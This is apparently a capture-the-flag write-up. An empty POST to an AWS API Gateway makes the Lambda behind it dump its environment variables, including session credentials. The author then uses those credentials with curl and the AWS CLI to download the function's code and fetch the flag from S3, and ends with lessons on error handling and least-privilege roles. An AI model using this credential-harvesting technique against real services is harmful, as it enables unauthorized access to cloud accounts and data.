The SecOps Cheat Guide

SecurityLabs challenge: week three (public API Gateway)

This one was super fun.

"Our security team discovered a API Gateway id in us-east-1 region. They need your help now to escalate this and get the flag. "

  1. You need to know what HTTP options are supported by APIGateway (all valid HTTP options), and how the URLs are formatted. I recommend the AWS Documentation for once: https://docs.aws.amazon.com/apigateway/ and the official RFC for the options: https://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.1.1

  2. Looking at the docs, we see the public URL is formed as https://<apigatewayID>.execute-api.{region}.amazonaws.com/{path}

Where {path} identifies an API Gateway resource (path) of a given hierarchy under the root resource "/".

So let's poke it! (I actually used Postman for this, because it gives a ton of options for bending requests, but curl or wget are fine for what we are doing here.)

curl https://<redacted>.execute-api.us-east-1.amazonaws.com/

response: 200 "Hello from Lambda!"

Hrm, nothing odd there; just some boilerplate from every "how to Lambda" blog ever. I wonder how it handles empty POSTs?

curl -X POST https://<redacted>.execute-api.region.amazonaws.com/

response: 200 "Error parsing the post data body!

AWS_LAMBDA_FUNCTION_VERSION:$LATEST

AWS_SESSION_TOKEN: Yep, a real valid token...

AWS_LAMBDA_LOG_GROUP_NAME:/aws/lambda/redacted

LAMBDA_TASK_ROOT:/var/task

LD_LIBRARY_PATH:/var/lang/lib:/lib64:/usr/lib64:/var/runtime: /var/runtime/lib:/var/task:/var/task/lib:/opt/lib

AWS_LAMBDA_RUNTIME_API:127.0.0.1:9001

AWS_LAMBDA_LOG_STREAM_NAME:2022/03/01/[$LATEST]/redacted

AWS_EXECUTION_ENV:AWS_Lambda_python3.9

AWS_XRAY_DAEMON_ADDRESS:169.254.79.129:2000

AWS_LAMBDA_FUNCTION_NAME: Yep, the lambda behind it...

PATH:/var/lang/bin:/usr/local/bin:/usr/bin/:/bin:/opt/bin

AWS_DEFAULT_REGION:us-east-1

PWD:/var/task

AWS_SECRET_ACCESS_KEY: Crap, a valid Secret Access Key...

LAMBDA_RUNTIME_DIR:/var/runtime

LANG:en_US.UTF-8

AWS_LAMBDA_INITIALIZATION_TYPE:on-demand

TZ::UTC

AWS_REGION:us-east-1

AWS_ACCESS_KEY_ID: And a valid Access Key ID!!

SHLVL:0

_AWS_XRAY_DAEMON_ADDRESS:169.254.79.129

_AWS_XRAY_DAEMON_PORT:2000

AWS_XRAY_CONTEXT_MISSING:LOG_ERROR

_HANDLER:lambda_function.lambda_handler

AWS_LAMBDA_FUNCTION_MEMORY_SIZE:128

PYTHONPATH:/var/runtime

_X_AMZN_TRACE_ID:Root=redacted

No, no it does not handle empty POSTs. And we now have valid AWS credentials! What can we do with them? We know this is an AssumeRole for working with Lambda, and we know what the name of the function behind the gateway. Let's see if I can do something stupid like "get-function". (Short answer yes, yes I did.)

aws lambda --region us-east-1 --get-function --function-name <redacted>

<snipped>
    "Code": {
        "RepositoryType": "S3",
        "Location": "https://prod-04-2014-tasks.s3.us-east-1.amazonaws.com/snapshots/account_id/a/whole/damned/presigned_URL/fordownloadingthearchive"

Curl that bugger down and unpack. Opening the code for the function showed me an S3 bucket and key, leading to the flag. Then it's just another s3 cp command.

This exercise shows how

  1. When you use API Gateway with Lambda, you need to consider error handling/sanitization in your function, or you need to route invalid requests to a null function.
  2. You also need to lock down your AssumeRoles so that they can only be assumed by something in your VPC already, and that you are not giving too much permissions to the role (there was no reason for the Gateway creds to allow more than Lambda:InvokeFunction and S3:GetObject).